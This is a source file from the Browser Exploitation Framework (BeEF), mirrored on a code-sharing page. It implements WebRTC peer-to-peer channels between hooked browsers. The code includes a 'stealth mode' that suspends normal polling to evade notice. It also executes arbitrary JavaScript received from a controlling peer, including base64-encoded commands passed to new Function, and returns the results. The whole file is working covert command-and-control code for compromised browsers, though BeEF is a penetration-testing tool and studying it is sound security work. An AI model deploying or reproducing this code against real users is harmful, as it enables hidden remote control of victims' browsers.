Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/webrtc.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
/**
9
* Manage the WebRTC peer to peer communication channels.
10
* This objects contains all the necessary client-side WebRTC components,
11
* allowing browsers to use WebRTC to communicate with each other.
12
* To provide signaling, the WebRTC extension sets up custom listeners.
13
* /rtcsignal - for sending RTC signalling information between peers
14
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
15
*
16
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
17
* the signalling.
18
*
19
* This is all mostly a Proof of Concept
20
* @namespace beef.webrtc
21
*/
22
23
/**
24
* To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.
25
* @memberof beef.webrtc
26
*/
27
beefrtcs = {};
28
/**
29
* To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
30
* these objects persist outside of everything else. The key is the peer id.
31
* @memberof beef.webrtc
32
*/
33
globalrtc = {};
34
/**
35
* stealth should only be initiated from one peer - this global variable will contain:
36
* false - i.e not stealthed; or
37
* <peerid> - i.e. the id of the browser which initiated stealth mode
38
* @memberof beef.webrtc
39
*/
40
rtcstealth = false;
41
/**
42
* To handle multiple event channels - we need to have a global hash of these. The key is the peer id
43
* @memberof beef.webrtc
44
*/
45
rtcrecvchan = {};
46
47
/**
48
* Beefwebrtc object - wraps everything together for a peer connection
49
* One of these per peer connection, and will be stored in the beefrtc global hash
50
* @memberof beef.webrtc
51
* @param initiator
52
* @param peer
53
* @param turnjson
54
* @param stunservers
55
* @param verbparam
56
*/
57
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
58
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
59
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
60
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
61
this.turnjson = turnjson; // set of TURN servers in the format:
62
// {"username": "<username", "password": "<password>", "uris": [
63
// "turn:<ip>:<port>?transport=<udp/tcp>",
64
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
65
this.started = false; // Has signaling / dialing started for this peer
66
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
67
this.turnDone = false; // does the pcConfig have TURN servers added to it?
68
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
69
// the receiver will set this to true once it receives an SDP 'offer'
70
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
71
this.pcConfig = null; // We set this during init
72
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
73
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
74
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
75
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
76
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
77
this.dataChannel = null; // The data channel used by this peer
78
this.stunservers = stunservers; // set of STUN servers, in the format:
79
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
80
}
81
82
/**
83
* Initialize the object
84
* @memberof beef.webrtc
85
*/
86
Beefwebrtc.prototype.initialize = function() {
87
if (this.peerid == null) {
88
return 0; // no peerid - NO DICE
89
}
90
91
// Initialise the pcConfig hash with the provided stunservers
92
var stuns = JSON.parse(this.stunservers);
93
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
94
"credential":"pass"}]};
95
96
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
97
// this.forceTurn(this.turnjson);
98
this.turnDone = true;
99
100
// Caller is always ready to create peerConnection.
101
this.signalingReady = this.initiator;
102
103
// Start .. maybe
104
this.maybeStart();
105
106
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
107
// window.onbeforeunload = function() {
108
// this.sendSignalMsg({type: 'bye'});
109
// }
110
111
return 1; // because .. yeah .. we had a peerid - this is good yar.
112
}
113
114
/**
115
* Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
116
* These values are now simply passed in from the config.yaml for the webrtc extension
117
* @memberof beef.webrtc
118
*/
119
Beefwebrtc.prototype.forceTurn = function(jason) {
120
var turnServer = JSON.parse(jason);
121
var iceServers = createIceServers(turnServer.uris,
122
turnServer.username,
123
turnServer.password);
124
if (iceServers !== null) {
125
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
126
}
127
beef.debug("Got TURN servers, will try and maybestart again..");
128
this.turnDone = true;
129
this.maybeStart();
130
}
131
132
/**
133
* Try and establish the RTC connection
134
* @memberof beef.webrtc
135
*/
136
Beefwebrtc.prototype.createPeerConnection = function() {
137
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
138
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
139
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
140
try {
141
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
142
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
143
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
144
beef.debug('Created RTCPeerConnnection with the following options:\n' +
145
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
146
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
147
148
} catch (e) {
149
beef.debug('Failed to create PeerConnection, exception: ');
150
beef.debug(e);
151
return;
152
}
153
154
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
155
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
156
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
157
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
158
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
159
}
160
161
/**
162
* When the PeerConnection receives a new ICE Candidate
163
* @memberof beef.webrtc
164
*/
165
Beefwebrtc.prototype.onIceCandidate = function(event) {
166
var peerid = null;
167
168
for (var k in beefrtcs) {
169
if (beefrtcs[k].allgood === false) {
170
peerid = beefrtcs[k].peerid;
171
}
172
}
173
174
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
175
beef.debug(event);
176
177
if (event.candidate) {
178
// Send the candidate to the peer via the BeEF signalling channel
179
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
180
label: event.candidate.sdpMLineIndex,
181
id: event.candidate.sdpMid,
182
candidate: event.candidate.candidate});
183
// Note this ICE candidate locally
184
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
185
} else {
186
beef.debug('End of candidates.');
187
}
188
}
189
190
/**
191
* For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
192
* This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
193
* against the message directly
194
* @memberof beef.webrtc
195
*/
196
Beefwebrtc.prototype.processMessage = function(message) {
197
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
198
var msg = JSON.parse(message);
199
200
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
201
beef.debug('processing the message, as a receiver');
202
if (msg.type === 'offer') { // This IS an SDP Offer
203
beef.debug('.. and the message is an offer .. ');
204
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
205
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
206
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
207
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
208
beef.debug(' .. the message is NOT an offer .. ');
209
this.msgQueue.push(msg);
210
}
211
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
212
beef.debug('processing the message, as the sender, no answers yet');
213
if (msg.type === 'answer') { // This IS an SDP Answer
214
beef.debug('.. and we have an answer ..');
215
this.processSignalingMessage(msg); // Process the message directly
216
this.gotanswer = true; // We have now received an answer
217
//process all other queued message...
218
while (this.msgQueue.length > 0) {
219
this.processSignalingMessage(this.msgQueue.shift());
220
}
221
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
222
beef.debug('.. not an answer ..');
223
this.msgQueue.push(msg);
224
}
225
} else { // For all other messages just drop them in the queue
226
beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
227
this.processSignalingMessage(msg);
228
}
229
}
230
231
/**
232
* Send a signalling message ..
233
* @memberof beef.webrtc
234
*/
235
Beefwebrtc.prototype.sendSignalMsg = function(message) {
236
var msgString = JSON.stringify(message);
237
beef.debug('Signalling Message - C->S: ' + msgString);
238
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
239
}
240
241
/**
242
* Used to record ICS candidates locally
243
* @memberof beef.webrtc
244
*/
245
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
246
if (this.gatheredIceCandidateTypes[location][type])
247
return;
248
this.gatheredIceCandidateTypes[location][type] = 1;
249
// updateInfoDiv();
250
}
251
252
253
/**
254
* When the signalling state changes. We don't actually do anything with this except log it.
255
* @memberof beef.webrtc
256
*/
257
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
258
beef.debug("Signalling has changed to: " + event.target.signalingState);
259
}
260
261
/**
262
* When the ICE Connection State changes - this is useful to determine connection statuses with peers.
263
* @memberof beef.webrtc
264
*/
265
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
266
var peerid = null;
267
268
for (k in globalrtc) {
269
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
270
peerid = k;
271
}
272
}
273
274
beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
275
276
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
277
// better candidates or connections
278
if (event.target.iceConnectionState === 'connected') {
279
//Send status to peer
280
window.setTimeout(function() {
281
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
282
beefrtcs[peerid].allgood = true;
283
},1000);
284
}
285
286
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
287
if (event.target.iceConnectionState === 'completed') {
288
window.setTimeout(function() {
289
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
290
beefrtcs[peerid].allgood = true;
291
},1000);
292
}
293
294
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
295
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
296
rtcstealth = false;
297
beefrtcs[peerid].allgood = false;
298
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
299
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
300
//I was not in stealth, and this peer has gone offline - send a message
301
beefrtcs[peerid].allgood = false;
302
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
303
}
304
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
305
// This is possibly a bad idea - @xntrik
306
307
308
}
309
310
/**
311
* This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
312
* @memberof beef.webrtc
313
*/
314
Beefwebrtc.prototype.goStealth = function() {
315
//stop the beef updater
316
rtcstealth = this.peerid; // this is a global variable
317
beef.updater.lock = true;
318
this.sendPeerMsg('Going into stealth mode');
319
320
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
321
}
322
323
/**
324
* This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
325
* @memberof beef.webrtc
326
*/
327
rtcpollPeer = function() {
328
if (rtcstealth == false) {
329
//my peer has disabled stealth mode
330
beef.updater.lock = false;
331
return;
332
}
333
334
beef.debug('lub dub');
335
336
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
337
338
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
339
}
340
341
/**
342
* When a data channel has been established - within here is the message handling function as well
343
* @memberof beef.webrtc
344
*/
345
Beefwebrtc.prototype.onDataChannel = function(event) {
346
var peerid = null;
347
for (k in globalrtc) {
348
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
349
peerid = k;
350
}
351
}
352
353
beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
354
rtcrecvchan[peerid] = event.channel;
355
356
// This is the onmessage event handling within the datachannel
357
rtcrecvchan[peerid].onmessage = function(ev2) {
358
beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
359
360
// We've received the command to go into stealth mode
361
if (ev2.data == "!gostealth") {
362
if (beef.updater.lock == true) {
363
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
364
} else {
365
beefrtcs[peerid].goStealth();
366
}
367
368
// The message to come out of stealth
369
} else if (ev2.data == "!endstealth") {
370
371
if (rtcstealth != null) {
372
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
373
rtcstealth = false;
374
}
375
376
// Command to perform arbitrary JS (while stealthed)
377
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
378
beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
379
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
380
381
// Command to perform arbitrary JS (while NOT stealthed)
382
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
383
beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
384
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
385
386
// B64d command from the /cmdexec API
387
} else if (ev2.data.charAt(0) == "@") {
388
beef.debug('message was a b64d command');
389
390
var fn = new Function(atob(ev2.data.substring(1)));
391
fn();
392
if (rtcstealth != false) { // force stealth back on ?
393
beef.updater.execute_commands(); // FORCE execution while stealthed
394
beef.updater.lock = true;
395
}
396
397
398
// Just a plain text message .. (while stealthed)
399
} else if (rtcstealth != false) {
400
beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
401
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
402
403
// Just a plan text message (while NOT stealthed)
404
} else {
405
beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
406
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
407
}
408
}
409
}
410
411
/**
412
* How the browser executes received JS (this is pretty hacky)
413
* @memberof beef.webrtc
414
*/
415
Beefwebrtc.prototype.execCmd = function(input) {
416
var fn = new Function(input);
417
var res = fn();
418
return res.toString();
419
}
420
421
/**
422
* Shortcut function to SEND a data messsage
423
* @memberof beef.webrtc
424
*/
425
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
426
beef.debug('sendPeerMsg to ' + this.peerid);
427
this.dataChannel.send(msg);
428
}
429
430
/**
431
* Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
432
* @memberof beef.webrtc
433
*/
434
Beefwebrtc.prototype.maybeStart = function() {
435
beef.debug("maybe starting ... ");
436
437
if (!this.started && this.signalingReady && this.turnDone) {
438
beef.debug('Creating PeerConnection.');
439
this.createPeerConnection();
440
441
this.started = true;
442
443
if (this.initiator) {
444
beef.debug("Making the call now .. bzz bzz");
445
this.doCall();
446
} else {
447
beef.debug("Receiving a call now .. somebuddy answer da fone?");
448
this.calleeStart();
449
}
450
451
} else {
452
beef.debug("Not ready to start just yet..");
453
}
454
}
455
456
/**
457
* RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
458
* @memberof beef.webrtc
459
*/
460
Beefwebrtc.prototype.doCall = function() {
461
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
462
var self = this;
463
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
464
beef.debug('Sending offer to peer, with constraints: \n' +
465
' \'' + JSON.stringify(constraints) + '\'.');
466
}
467
468
/**
469
* Helper method to merge SDP constraints
470
* @memberof beef.webrtc
471
*/
472
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
473
var merged = cons1;
474
for (var name in cons2.mandatory) {
475
merged.mandatory[name] = cons2.mandatory[name];
476
}
477
merged.optional.concat(cons2.optional);
478
return merged;
479
}
480
481
/**
482
* Sets the local RTC session description, sends this information back (via signalling)
483
* The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
484
* The receiver uses this information too - and vice-versa - hence the signaling
485
*
486
*/
487
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
488
var peerid = null;
489
490
for (var k in beefrtcs) {
491
if (beefrtcs[k].allgood === false) {
492
peerid = beefrtcs[k].peerid;
493
}
494
}
495
beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
496
497
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
498
beefrtcs[peerid].sendSignalMsg(sessionDescription);
499
500
function onSetSessionDescriptionSuccess() {
501
beef.debug('Set session description success.');
502
}
503
504
function onSetSessionDescriptionError() {
505
beef.debug('Failed to set session description');
506
}
507
}
508
509
/**
510
* If the browser can't build an SDP
511
* @memberof beef.webrtc
512
*/
513
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
514
beef.debug('Failed to create session description: ' + error.toString());
515
}
516
517
/**
518
* If the browser successfully sets a remote description
519
* @memberof beef.webrtc
520
*/
521
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
522
beef.debug('Set remote session description successfully');
523
}
524
525
/**
526
* Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
527
* @memberof beef.webrtc
528
*/
529
Beefwebrtc.prototype.calleeStart = function() {
530
// Callee starts to process cached offer and other messages.
531
while (this.msgQueue.length > 0) {
532
this.processSignalingMessage(this.msgQueue.shift());
533
}
534
}
535
536
/**
537
* Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
538
* @memberof beef.webrtc
539
*/
540
Beefwebrtc.prototype.processSignalingMessage = function(message) {
541
if (!this.started) {
542
beef.debug('peerConnection has not been created yet!');
543
return;
544
}
545
546
if (message.type === 'offer') {
547
beef.debug("Processing signalling message: OFFER");
548
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
549
// version of FF - which no longer works
550
beef.debug("Moz shim here");
551
globalrtc[this.peerid].setRemoteDescription(
552
new RTCSessionDescription(message),
553
function() {
554
// globalrtc[this.peerid].createAnswer(function(answer) {
555
// globalrtc[this.peerid].setLocalDescription(
556
557
var peerid = null;
558
559
for (var k in beefrtcs) {
560
if (beefrtcs[k].allgood === false) {
561
peerid = beefrtcs[k].peerid;
562
}
563
}
564
565
globalrtc[peerid].createAnswer(function(answer) {
566
globalrtc[peerid].setLocalDescription(
567
new RTCSessionDescription(answer),
568
function() {
569
beefrtcs[peerid].sendSignalMsg(answer);
570
},function(error) {
571
beef.debug("setLocalDescription error: " + error);
572
});
573
},function(error) {
574
beef.debug("createAnswer error: " +error);
575
});
576
},function(error) {
577
beef.debug("setRemoteDescription error: " + error);
578
});
579
580
} else {
581
this.setRemote(message);
582
this.doAnswer();
583
}
584
} else if (message.type === 'answer') {
585
beef.debug("Processing signalling message: ANSWER");
586
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
587
beef.debug("Moz shim here");
588
globalrtc[this.peerid].setRemoteDescription(
589
new RTCSessionDescription(message),
590
function() {},
591
function(error) {
592
beef.debug("setRemoteDescription error: " + error);
593
});
594
} else {
595
this.setRemote(message);
596
}
597
} else if (message.type === 'candidate') {
598
beef.debug("Processing signalling message: CANDIDATE");
599
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
600
candidate: message.candidate});
601
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
602
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
603
} else if (message.type === 'bye') {
604
this.onRemoteHangup();
605
}
606
}
607
608
/**
609
* Used to set the RTC remote session
610
* @memberof beef.webrtc
611
*/
612
Beefwebrtc.prototype.setRemote = function(message) {
613
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
614
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
615
}
616
617
/**
618
* As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
619
* @memberof beef.webrtc
620
*/
621
Beefwebrtc.prototype.doAnswer = function() {
622
beef.debug('Sending answer to peer.');
623
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
624
}
625
626
/**
627
* Helper method to determine what kind of ICE Candidate we've received
628
* @memberof beef.webrtc
629
*/
630
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
631
if (candidateSDP.indexOf("typ relay ") >= 0)
632
return "TURN";
633
if (candidateSDP.indexOf("typ srflx ") >= 0)
634
return "STUN";
635
if (candidateSDP.indexOf("typ host ") >= 0)
636
return "HOST";
637
return "UNKNOWN";
638
}
639
640
/**
641
* Event handler for successful addition of ICE Candidates
642
* @memberof beef.webrtc
643
*/
644
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
645
beef.debug('AddIceCandidate success.');
646
}
647
648
/**
649
* Event handler for unsuccessful addition of ICE Candidates
650
* @memberof beef.webrtc
651
*/
652
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
653
beef.debug('Failed to add Ice Candidate: ' + error.toString());
654
}
655
656
/**
657
* If a peer hangs up (we bring down the peerconncetion via the stop() method)
658
* @memberof beef.webrtc
659
*/
660
Beefwebrtc.prototype.onRemoteHangup = function() {
661
beef.debug('Session terminated.');
662
this.initiator = 0;
663
// transitionToWaiting();
664
this.stop();
665
}
666
667
/**
668
* Bring down the peer connection
669
* @memberof beef.webrtc
670
*/
671
Beefwebrtc.prototype.stop = function() {
672
this.started = false; // we're no longer started
673
this.signalingReady = false; // signalling isn't ready
674
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
675
globalrtc[this.peerid] = null; // Remove it
676
this.msgQueue.length = 0; // clear the msgqueue
677
rtcstealth = false; // no longer stealth
678
this.allgood = false; // allgood .. NAH UH
679
}
680
681
/**
682
* The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
683
* These are the methods which are executed via the custom extension of the hook.js
684
* @memberof beef.webrtc
685
*/
686
beef.webrtc = {
687
// Start the RTCPeerConnection process
688
start: function(initiator,peer,turnjson,stunservers,verbose) {
689
if (peer in beefrtcs) {
690
// If the RTC peer is not in a good state, try kickng it off again
691
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
692
if (beefrtcs[peer].allgood == false) {
693
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
694
beefrtcs[peer].initialize();
695
}
696
} else {
697
// Standard behaviour for new peer connections
698
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
699
beefrtcs[peer].initialize();
700
}
701
},
702
703
// Check the status of all my peers ..
704
status: function(me) {
705
if (Object.keys(beefrtcs).length > 0) {
706
for (var k in beefrtcs) {
707
if (beefrtcs.hasOwnProperty(k)) {
708
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
709
}
710
}
711
} else {
712
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
713
}
714
}
715
}
716
beef.regCmp('beef.webrtc');
717
718